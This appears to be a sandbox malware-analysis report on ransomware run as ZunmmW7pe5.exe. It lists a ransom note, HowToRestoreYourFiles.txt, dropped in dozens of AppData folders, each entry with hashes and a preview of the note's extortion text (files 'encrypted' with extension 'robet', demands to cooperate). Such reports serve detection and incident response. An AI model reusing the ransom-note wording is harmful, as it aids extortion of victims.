SHA1:	CAB81B4911638BA9A797247D237CC85DF3EB8020
SHA-256:	7F5A051837D24374A456AF5C7020CC5CB7B988CE7EF5DFB0DE10ABC2030A5C52
SHA-512:	84908663611E6666B23659B063B7AE98DFC0CFCFDE4503FDE159E1278701ADB8A2D9D7FCCEB941337D7A3517AA3046DC798DA8780EA59D7972AC0C92DC7BD471
Malicious:	false
Preview:	g.[c.B.u86.>.M..review Visible="....XL..;..q\..irectChannelsVisu.r...j..A.E...annelsVisible></.nc..h._.!./...m........................H...#t.IXK.3.......:(.%...W...BD..;..`..E.2.Cu.iV....J..)e..^w....yv...l..&.%......86Q&vc5.....{.o7chgGV{#..f2..\|<.@.%&.U..jb..g,....[...>.....r...e.Oy...l%3.. .H..5.<^O>4R_.[oW..yRir.Z>&..g..@.:%......`.c.N3l..@.,y&@.C[.y...-qy..Q.HI....._.~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...*S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|..

C:\Users\user\AppData\Local\Microsoft\Event Viewer\Views\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\Feeds Cache\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\Feeds\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\GameDVR\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\DNTException\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\DNTException\Low\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\ESE\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\Low\ESE\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\Low\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\PrivacIE\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies\PrivacIE\Low\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\input\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\input\af-ZA\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\input\ar-AE\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\input\ar-BH\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\input\ar-DZ\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Microsoft\input\ar-EG\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
